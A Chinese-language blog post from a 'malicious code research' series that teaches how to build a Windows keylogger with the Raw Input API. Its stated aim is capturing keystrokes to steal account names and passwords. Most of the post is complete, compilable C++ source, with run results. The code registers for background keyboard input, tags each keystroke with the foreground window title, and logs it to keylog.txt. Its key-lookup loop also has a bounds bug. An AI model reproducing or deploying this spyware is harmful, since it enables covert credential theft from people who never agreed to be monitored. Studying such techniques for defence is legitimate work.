恶意代码研究 -- 功能技术类 -- windows PE恶意代码(三)按键记录

收集用户的所有按键信息,分辨出哪些类似于账号,密码等关键信息进行利用,窃取密码,这里用原始输入模型直接从输入设备上获取数据,记录按键信息。

要想接收设备原始输入WM_INPUT消息,应用程序必须首先使用RegisterRawInputDevice注册原始输入设备,因为在默认情况下,应用程序不接受原始输入。

操作流程

注册原始输入设备

  • 首先创建一个RAWINPUTDEVICE结构,这个结构表明它所希望接受设备的类别

  • 再调用RegisterRawInputDevices注册该原始输入设备。将RAWINPUTDEVICE结构体成员dwFlags的值设置为RIDEV_INPUTSINK,即使程序不处于聚焦窗口,程序依然可以接收原始输入。

获取原始输入数据

  • 调用GetInputRawData获取设备原始输入数据。

保存按键信息

  • GetForegroundWindow获取按键窗口的标题
  • 然后调用GetWindowText根据窗口句柄获取标题,存储到本地文件

相关API

RegisterRawInputDevices函数

该函数用来注册设备

BOOL WINAPI RegisterRawInputDevices(
  _In_ PCRAWINPUTDEVICE pRawInputDevices, //设备信息数组,可包含多种设备
  _In_ UINT        uiNumDevices,  //pRawInputDevices数组 的大小,即设备种类
  _In_ UINT        cbSize         //sizeof(RAWINPUTDEVICE)
);

参数

  • pRawInputDevices :一组RAWINPUTDEVICE结构,代表提供原始输入的设备。
  • uiNumDevices:pRawInputDevices指向的RAWINPUTDEVICE结构的数量
  • cbSize:RAWINPUTDEVICE结构的大小(单位:字节)

返回值

  • 如果函数成功,则为TRUE;否则为FALSE。如果函数失败,请调用GetLastError获取更多信息。

RAWINPUTDEVICE结构体

typedef struct tagRAWINPUTDEVICE {
  USHORT usUsagePage;  //usUsagePage 和 usUsage 确定设备种类
  USHORT usUsage;
  DWORD  dwFlags;    //指定发送消息的方式
  HWND   hwndTarget; //接受WM_INPUT消息的窗口句柄,如果是NULL,接受消息窗口就跟随键盘焦点
} RAWINPUTDEVICE, *PRAWINPUTDEVICE, *LPRAWINPUTDEVICE;

dwFlags相关的常量如下:

#define RIDEV_REMOVE            0x00000001
#define RIDEV_EXCLUDE           0x00000010
#define RIDEV_PAGEONLY          0x00000020
#define RIDEV_NOLEGACY          0x00000030
#define RIDEV_INPUTSINK         0x00000100
#define RIDEV_CAPTUREMOUSE      0x00000200  // effective when mouse nolegacy is specified, otherwise it would be an error
#define RIDEV_NOHOTKEYS         0x00000200  // effective for keyboard.
#define RIDEV_APPKEYS           0x00000400  // effective for keyboard.
#if(_WIN32_WINNT >= 0x0501)
#define RIDEV_EXINPUTSINK       0x00001000
#define RIDEV_DEVNOTIFY         0x00002000
#endif /* _WIN32_WINNT >= 0x0501 */
#define RIDEV_EXMODEMASK        0x000000F0

通常用的是RIDEV_INPUTSINK, 表示不论接受窗口是否获得焦点,设备消息都发送给该窗口。这种情况hwndTarget必须指定。

GetRawInputData函数

从指定的设备获取原始输入。

    UINT WINAPI GetRawInputData(
        _In_      HRAWINPUT hRawInput,
        _In_      UINT      uiCommand,
        _Out_opt_ LPVOID    pData,
        _Inout_   PUINT     pcbSize,
        _In_      UINT      cbSizeHeader
    );

参数

  • hRawInput:RAWINPUT结构的句柄。 这来自于WM_INPUT中的lParam
  • uiCommand :命令标志,说明如下所示
VALUEMEANING
RID_HEADER从RAWINPUT结构获取头信息
RID_INPUT从RAWINPUT结构获取原始数据
  • pData:指向来自RAWINPUT结构的数据的指针。 这取决于uiCommand的值。 如果pDataNULL,则在* pcbSize中返回所需的缓冲区大小。
  • pcbSize :pData中数据的大小(以字节为单位)
  • cbSizeHeader :RAWINPUTHEADER结构的大小

RAWINPUT结构体

typedef struct tagRAWINPUT {
    RAWINPUTHEADER header;
    union {
        RAWMOUSE    mouse;
        RAWKEYBOARD keyboard;
        RAWHID      hid;
    } data;
} RAWINPUT, *PRAWINPUT, *LPRAWINPUT;

编程实现

RawInputTest.h

#ifndef _RAW_INPUT_TEST_H_
#define _RAW_INPUT_TEST_H_


#include <stdio.h>
#include <Windows.h>


// 注册原始输入设备
BOOL Init(HWND hWnd);

// 获取原始输入数据
BOOL GetData(LPARAM lParam);

// 保存按键信息
void SaveKey(USHORT usVKey);


#endif

resource.h

//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ 生成的包含文件。
// 供 RawInputData_Test.rc 使用
//
#define IDD_DIALOG1                     101

// Next default values for new objects
// 
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        102
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1001
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif

VirtualKeyToAscii.h

#ifndef _VIRTUAL_KEY_TO_ASCII_
#define _VIRTUAL_KEY_TO_ASCII_

#include <windows.h>

struct VKeyInfo{
	USHORT VKey;
	LPCSTR VKname;
};

#define AddVKey(VK, VKName)   {(VK), (VKName)}

static VKeyInfo vkis[] = {
		AddVKey(VK_LBUTTON, "Left mouse button"),
		AddVKey(VK_RBUTTON, "Right mouse button"),
        AddVKey(VK_CANCEL, "Control-break processing"),
		AddVKey(0x04, "Middle mouse button (three-button mouse)"),
		AddVKey(0x05, "Windows 2000/XP: X1 mouse button"),
		AddVKey(0x06, "Windows 2000/XP: X2 mouse button"),
		AddVKey(0x07, "Undefined"),
		AddVKey(VK_BACK, "BACKSPACE key"),
		AddVKey(VK_TAB, "TAB key"),
		AddVKey(0x0A, "Reserved"),
		AddVKey(0x0B, "Reserved"),
		AddVKey(VK_CLEAR, "CLEAR key"),
		AddVKey(VK_RETURN, "ENTER key"),
		AddVKey(0x0E, "Undefined"),
		AddVKey(0x0F, "Undefined"),
		AddVKey(VK_SHIFT, "SHIFT key"),
		AddVKey(VK_CONTROL, "CTRL key"),
		AddVKey(VK_MENU, "ALT key"),
		AddVKey(VK_PAUSE, "PAUSE key"),
		AddVKey(VK_CAPITAL, "CAPS LOCK key"),
		AddVKey(VK_KANA, "Input Method Editor (IME) Kana mode"),
		AddVKey(VK_HANGUL, "IME Hangul mode"),
		AddVKey(0x16, "Undefined"),
		AddVKey(VK_JUNJA, "IME Junja mode"),
		AddVKey(VK_FINAL, "IME final mode"),
		AddVKey(VK_HANJA, "IME Hanja mode"),
		AddVKey(VK_KANJI, "IME Kanji mode"),
		AddVKey(0x1A, "Undefined"),
		AddVKey(VK_ESCAPE, "ESC key"),
		AddVKey(VK_CONVERT, "IME convert"),
		AddVKey(VK_NONCONVERT, "IME nonconvert"),
		AddVKey(VK_ACCEPT, "IME accept"),
		AddVKey(VK_MODECHANGE, "IME mode change request"),
		AddVKey(VK_SPACE, "SPACEBAR"),
		AddVKey(VK_PRIOR, "PAGE UP key"),
		AddVKey(VK_NEXT, "PAGE DOWN key"),
		AddVKey(VK_END, "END key"),
		AddVKey(VK_HOME, "HOME key"),
		AddVKey(VK_LEFT, "LEFT ARROW key"),
		AddVKey(VK_UP, "UP ARROW key"),
		AddVKey(VK_RIGHT, "RIGHT ARROW key"),
		AddVKey(VK_DOWN, "DOWN ARROW key"),
		AddVKey(VK_SELECT, "SELECT key"),
		AddVKey(VK_PRINT, "PRINT key"),
		AddVKey(VK_EXECUTE, "EXECUTE key"),
		AddVKey(VK_SNAPSHOT, "PRINT SCREEN key"),
		AddVKey(VK_INSERT, "INSERT key"),
		AddVKey(VK_DELETE, "DEL key"),
		AddVKey(VK_HELP, "HELP key"),
		AddVKey(0x30, "0"),
		AddVKey(0x31, "1"),
		AddVKey(0x32, "2"),
		AddVKey(0x33, "3"),
		AddVKey(0x34, "4"),
		AddVKey(0x35, "5"),
		AddVKey(0x36, "6"),
		AddVKey(0x37, "7"),
		AddVKey(0x38, "8"),
		AddVKey(0x39, "9"),
		AddVKey(0x3A, "Undefined"),
		AddVKey(0x3B, "Undefined"),
		AddVKey(0x3C, "Undefined"),
		AddVKey(0x3D, "Undefined"),
		AddVKey(0x3E, "Undefined"),
		AddVKey(0x3F, "Undefined"),
		AddVKey(0x40, "Undefined"),
		AddVKey(0x41, "A"),
		AddVKey(0x42, "B"),
		AddVKey(0x43, "C"),
		AddVKey(0x44, "D"),
		AddVKey(0x45, "E"),
		AddVKey(0x46, "F"),
		AddVKey(0x47, "G"),
		AddVKey(0x48, "H"),
		AddVKey(0x49, "I"),
		AddVKey(0x4A, "J"),
		AddVKey(0x4B, "K"),
		AddVKey(0x4C, "L"),
		AddVKey(0x4D, "M"),
		AddVKey(0x4E, "N"),
		AddVKey(0x4F, "O"),
		AddVKey(0x50, "P"),
		AddVKey(0x51, "Q"),
		AddVKey(0x52, "R"),
		AddVKey(0x53, "S"),
		AddVKey(0x54, "T"),
		AddVKey(0x55, "U"),
		AddVKey(0x56, "V"),
		AddVKey(0x57, "W"),
		AddVKey(0x58, "X"),
		AddVKey(0x59, "Y"),
		AddVKey(0x5A, "Z"),

		AddVKey(VK_LWIN, "Left Windows key (Microsoft Natural keyboard)"),
		AddVKey(VK_RWIN, "Right Windows key (Natural keyboard)"),
		AddVKey(VK_APPS, "Applications key (Natural keyboard)"),
		AddVKey(0x5E, "Reserved"),
		AddVKey(VK_SLEEP, "Computer Sleep key"),
		AddVKey(VK_NUMPAD0, "Numeric keypad 0 key"),
		AddVKey(VK_NUMPAD1, "Numeric keypad 1 key"),
		AddVKey(VK_NUMPAD2, "Numeric keypad 2 key"),
		AddVKey(VK_NUMPAD3, "Numeric keypad 3 key"),
		AddVKey(VK_NUMPAD4, "Numeric keypad 4 key"),
		AddVKey(VK_NUMPAD5, "Numeric keypad 5 key"),
		AddVKey(VK_NUMPAD6, "Numeric keypad 6 key"),
		AddVKey(VK_NUMPAD7, "Numeric keypad 7 key"),
		AddVKey(VK_NUMPAD8, "Numeric keypad 8 key"),
		AddVKey(VK_NUMPAD9, "Numeric keypad 9 key"),
		AddVKey(VK_MULTIPLY, "Multiply key"),
		AddVKey(VK_ADD, "Add key"),
		AddVKey(VK_SEPARATOR, "Separator key"),
		AddVKey(VK_SUBTRACT, "Subtract key"),
		AddVKey(VK_DECIMAL, "Decimal key"),
		AddVKey(VK_DIVIDE, "Divide key"),
		AddVKey(VK_F1, "F1 key"),
		AddVKey(VK_F2, "F2 key"),
		AddVKey(VK_F3, "F3 key"),
		AddVKey(VK_F4, "F4 key"),
		AddVKey(VK_F5, "F5 key"),
		AddVKey(VK_F6, "F6 key"),
		AddVKey(VK_F7, "F7 key"),
		AddVKey(VK_F8, "F8 key"),
		AddVKey(VK_F9, "F9 key"),
		AddVKey(VK_F10, "F10 key"),
		AddVKey(VK_F11, "F11 key"),
		AddVKey(VK_F12, "F12 key"),
		AddVKey(VK_F13, "F13 key"),
		AddVKey(VK_F14, "F14 key"),
		AddVKey(VK_F15, "F15 key"),
		AddVKey(VK_F16, "F16 key"),
		AddVKey(VK_F17, "F17 key"),
		AddVKey(VK_F18, "F18 key"),
		AddVKey(VK_F19, "F19 key"),
		AddVKey(VK_F20, "F20 key"),
		AddVKey(VK_F21, "F21 key"),
		AddVKey(VK_F22, "F22 key"),
		AddVKey(VK_F23, "F23 key"),
		AddVKey(VK_F24, "F24 key"),
		AddVKey(0x88, "Unassigned"),
		AddVKey(0x89, "Unassigned"),
		AddVKey(0x8A, "Unassigned"),
		AddVKey(0x8B, "Unassigned"),
		AddVKey(0x8C, "Unassigned"),
		AddVKey(0x8D, "Unassigned"),
		AddVKey(0x8E, "Unassigned"),
		AddVKey(0x8F, "Unassigned"),
		AddVKey(VK_NUMLOCK, "NUM LOCK key"),
		AddVKey(VK_SCROLL, "SCROLL LOCK key"),
		AddVKey(0x92, "OEM specific"),
		AddVKey(0x93, "OEM specific"),
		AddVKey(0x94, "OEM specific"),
		AddVKey(0x95, "OEM specific"),
		AddVKey(0x96, "OEM specific"),
		AddVKey(0x97, "Unassigned"),
		AddVKey(0x98, "Unassigned"),
		AddVKey(0x99, "Unassigned"),
		AddVKey(0x9A, "Unassigned"),
		AddVKey(0x9B, "Unassigned"),
		AddVKey(0x9C, "Unassigned"),
		AddVKey(0x9D, "Unassigned"),
		AddVKey(0x9E, "Unassigned"),
		AddVKey(0x9F, "Unassigned"),
		AddVKey(VK_LSHIFT, "Left SHIFT key"),
		AddVKey(VK_RSHIFT, "Right SHIFT key"),
		AddVKey(VK_LCONTROL, "Left CONTROL key"),
		AddVKey(VK_RCONTROL, "Right CONTROL key"),
		AddVKey(VK_LMENU, "Left MENU key"),
		AddVKey(VK_RMENU, "Right MENU key"),
		AddVKey(0xA6, "Windows 2000/XP: Browser Back key"),
		AddVKey(0xA7, "Windows 2000/XP: Browser Forward key"),
		AddVKey(0xA8, "Windows 2000/XP: Browser Refresh key"),
		AddVKey(0xA9, "Windows 2000/XP: Browser Stop key"),
		AddVKey(0xAA, "Windows 2000/XP: Browser Search key"),
		AddVKey(0xAB, "Windows 2000/XP: Browser Favorites key"),
		AddVKey(0xAC, "Windows 2000/XP: Browser Start and Home key"),
		AddVKey(0xAD, "Windows 2000/XP: Volume Mute key"),
		AddVKey(0xAE, "Windows 2000/XP: Volume Down key"),
		AddVKey(0xAF, "Windows 2000/XP: Volume Up key"),
		AddVKey(0xB0, "Windows 2000/XP: Next Track key"),
		AddVKey(0xB1, "Windows 2000/XP: Previous Track key"),
		AddVKey(0xB2, "Windows 2000/XP: Stop Media key"),
		AddVKey(0xB3, "Windows 2000/XP: Play/Pause Media key"),
		AddVKey(0xB4, "Windows 2000/XP: Start Mail key"),
		AddVKey(0xB5, "Windows 2000/XP: Select Media key"),
		AddVKey(0xB6, "Windows 2000/XP: Start Application 1 key"),
		AddVKey(0xB7, "Windows 2000/XP: Start Application 2 key"),
		AddVKey(0xB8, "Reserved"),
		AddVKey(0xB9, "Reserved"),
		AddVKey(VK_OEM_1, "Used for miscellaneous characters; it can vary by keyboard."
                          "Windows 2000/XP: For the US standard keyboard, the \';:\' key"),
		AddVKey(VK_OEM_PLUS, "Windows 2000/XP: For any country/region, the \'+\' key"),
		AddVKey(VK_OEM_COMMA, "Windows 2000/XP: For any country/region, the \',\' key"),
		AddVKey(VK_OEM_MINUS, "Windows 2000/XP: For any country/region, the \'-\' key"),
		AddVKey(VK_OEM_PERIOD, "Windows 2000/XP: For any country/region, the \'.\' key"),
		AddVKey(VK_OEM_2, "Used for miscellaneous characters; it can vary by keyboard."
                          "Windows 2000/XP: For the US standard keyboard, the \'/?\' key"),
		AddVKey(VK_OEM_3, "Used for miscellaneous characters; it can vary by keyboard." 
                          "Windows 2000/XP: For the US standard keyboard, the \'`~\' key"),
		AddVKey(0xC1, "Reserved"),
		AddVKey(0xC2, "Reserved"),
		AddVKey(0xC3, "Reserved"),
		AddVKey(0xC4, "Reserved"),
		AddVKey(0xC5, "Reserved"),
		AddVKey(0xC6, "Reserved"),
		AddVKey(0xC7, "Reserved"),
		AddVKey(0xC8, "Reserved"),
		AddVKey(0xC9, "Reserved"),
		AddVKey(0xCA, "Reserved"),
		AddVKey(0xCB, "Reserved"),
		AddVKey(0xCC, "Reserved"),
		AddVKey(0xCD, "Reserved"),
		AddVKey(0xCE, "Reserved"),
		AddVKey(0xCF, "Reserved"),
		AddVKey(0xD0, "Reserved"),
		AddVKey(0xD1, "Reserved"),
		AddVKey(0xD2, "Reserved"),
		AddVKey(0xD3, "Reserved"),
		AddVKey(0xD4, "Reserved"),
		AddVKey(0xD5, "Reserved"),
		AddVKey(0xD6, "Reserved"),
		AddVKey(0xD7, "Reserved"),
		AddVKey(0xD8, "Unassigned"),
		AddVKey(0xD9, "Unassigned"),
		AddVKey(0xDA, "Unassigned"),
		AddVKey(VK_OEM_4, "Used for miscellaneous characters; it can vary by keyboard." 
                          "Windows 2000/XP: For the US standard keyboard, the \'[{\' key"),
	    AddVKey(VK_OEM_5, "Used for miscellaneous characters; it can vary by keyboard." 
                          "Windows 2000/XP: For the US standard keyboard, the \'\\|\' key"),
		AddVKey(VK_OEM_6, "Used for miscellaneous characters; it can vary by keyboard." 
                          "Windows 2000/XP: For the US standard keyboard, the \']}\' key"),
	    AddVKey(VK_OEM_7, "Used for miscellaneous characters; it can vary by keyboard." 
                          "Windows 2000/XP: For the US standard keyboard, the \'single-quote/double-quote\' key"),

		AddVKey(VK_OEM_8, "Used for miscellaneous characters; it can vary by keyboard."),
		AddVKey(0xE0, "Reserved"),
		AddVKey(0xE1, "OEM specific"),
		AddVKey(VK_OEM_102, "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard"),
		AddVKey(0xE3, "OEM specific"),
		AddVKey(0xE4, "OEM specific"),
		AddVKey(VK_PROCESSKEY, "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key"),
		AddVKey(0xE6, "OEM specific"),
		AddVKey(0xE7, "Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP"),
		AddVKey(0xE8, "Unassigned"),
		AddVKey(0xE9, "OEM specific"),
		AddVKey(0xEA, "OEM specific"),
		AddVKey(0xEB, "OEM specific"),
		AddVKey(0xEC, "OEM specific"),
		AddVKey(0xED, "OEM specific"),
		AddVKey(0xEF, "OEM specific"),
		AddVKey(0xF0, "OEM specific"),
		AddVKey(0xF1, "OEM specific"),
		AddVKey(0xF2, "OEM specific"),
		AddVKey(0xF3, "OEM specific"),
		AddVKey(0xF4, "OEM specific"),
		AddVKey(0xF5, "OEM specific"),
		AddVKey(VK_ATTN, "Attn key"),
		AddVKey(VK_CRSEL, "CrSel key"),
		AddVKey(VK_EXSEL, "ExSel key"),
		AddVKey(VK_EREOF, "Erase EOF key"),
		AddVKey(VK_PLAY, "Play key"),
		AddVKey(VK_ZOOM, "Zoom key"),
	    AddVKey(VK_NONAME, "Reserved"),
	    AddVKey(VK_PA1, "PA1 key"),
		AddVKey(VK_OEM_CLEAR, "Clear key"),
		AddVKey(0xFF, "Unknown Virtual-Key Code")
};


LPCSTR GetKeyName(USHORT VKey)
{
	int i = 0;
	for(i = 0; i < sizeof(vkis); i++)
	{
		if(VKey == vkis[i].VKey)
			return vkis[i].VKname;
	}
	return vkis[--i].VKname;
}


#endif

RawInputTest.cpp

#include "RawInputTest.h"
#include "VirtualKeyToAscii.h"


void ShowError(char *pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


// 注册原始输入设备
BOOL Init(HWND hWnd)
{
	// 设置 RAWINPUTDEVICE 结构体信息
	RAWINPUTDEVICE rawinputDevice = { 0 };
	rawinputDevice.usUsagePage = 0x01;
	rawinputDevice.usUsage = 0x06;
	rawinputDevice.dwFlags = RIDEV_INPUTSINK;
	rawinputDevice.hwndTarget = hWnd;
	// 注册原始输入设备
	BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
	if (FALSE == bRet)
	{
		ShowError("RegisterRawInputDevices");
		return FALSE;
	}

	return TRUE;
}


// 获取原始输入数据
BOOL GetData(LPARAM lParam)
{
	RAWINPUT rawinputData = { 0 };
	UINT uiSize = sizeof(rawinputData);

	// 获取原始输入数据的大小
	::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
	if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
	{
		// WM_KEYDOWN --> 普通按键    WM_SYSKEYDOWN --> 系统按键(指的是ALT)  
		if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
			(WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
		{
			// 记录按键
			SaveKey(rawinputData.data.keyboard.VKey);
		}
	}
	return TRUE;
}


// 保存按键信息
void SaveKey(USHORT usVKey)
{
	char szKey[MAX_PATH] = { 0 };
	char szTitle[MAX_PATH] = { 0 };
	char szText[MAX_PATH] = { 0 };
	FILE *fp = NULL;
	// 获取顶层窗口
	HWND hForegroundWnd = ::GetForegroundWindow();
	// 获取顶层窗口标题
	::GetWindowText(hForegroundWnd, szTitle, 256);
	// 将虚拟键码转换成对应的ASCII
	::lstrcpy(szKey, GetKeyName(usVKey));
	// 构造按键记录信息字符串
	::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey);
	// 打开文件写入按键记录数据
	::fopen_s(&fp, "keylog.txt", "a+");
	if (NULL == fp)
	{
		ShowError("fopen_s");
		return;
	}
	::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);
	::fclose(fp);
}

Main.cpp

#include "resource.h"
#include "RawInputTest.h"


BOOL CALLBACK ProgMainDlg(HWND hWnd, UINT uiMsg, WPARAM wParam, LPARAM lParam)
{
	if (WM_INITDIALOG == uiMsg)
	{
		// 注册原始输入设备
		Init(hWnd);
	}
	else if (WM_CLOSE == uiMsg)
	{
		::EndDialog(hWnd, NULL);
	}
	else if (WM_INPUT == uiMsg)
	{
		// 获取获取按键消息
		GetData(lParam);
	}

	return FALSE;
}


int WINAPI WinMain(
	HINSTANCE hInstance,
	HINSTANCE hPrevinstance,
	LPSTR lpCmdLine,
	int nCmdShow)
{
	::DialogBoxParam(hInstance, (LPCSTR)IDD_DIALOG1, NULL, (DLGPROC)ProgMainDlg, NULL);

	::ExitProcess(NULL);
	return 0;
}

记得设置字符集是多字符字符集(unicode字符集会报错)

运行结果

在这里插入图片描述开始时编译后生成的exe的目录如下,点击exe,弹出对话框
在这里插入图片描述当你随机敲击键盘时,目录下生成keylog.txt
在这里插入图片描述

只要对话框不关闭,键盘按键就会被记录到keylog.txt中。
在这里插入图片描述

已标记关键词 清除标记
相关推荐
©️2020 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页